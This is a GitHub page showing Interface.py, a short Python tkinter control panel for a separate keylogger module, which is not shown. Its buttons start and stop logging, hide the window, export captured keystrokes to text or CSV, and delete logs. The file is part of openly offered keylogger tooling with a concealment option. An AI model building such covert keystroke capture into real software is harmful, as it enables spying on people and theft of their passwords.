-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathInterface.py
More file actions
52 lines (38 loc) · 937 Bytes
/
Copy pathInterface.py
File metadata and controls
52 lines (38 loc) · 937 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import tkinter as tk
import keylogger
def Start():
keylogger.start_log()
def Stop():
keylogger.stop_log()
def Exit():
root.destroy()
def ExportTxt():
keylogger.text_logs()
def ExportCsv():
keylogger.csv_log(keylogger.key_list)
def Delete():
keylogger.delete()
def Hide():
root.withdraw()
def Interface():
global root
root = tk.Tk()
root.geometry("590x590")
root.resizable(0, 0)
root.config(bg='#7D5A46')
root.title("keylogger")
Buttons = {
'Start': Start,
'Stop': Stop,
'Hide': Hide,
'Export TXT': ExportTxt,
'Export CSV': ExportCsv,
'Delete': Delete,
'Exit': Exit
}
for i, command in Buttons.items():
button = tk.Button(root, text=i, height=2, width=15, bg='#D2B48C', command=command)
button.pack(padx=10, pady=15)
root.mainloop()
if __name__ == "__main__":
Interface()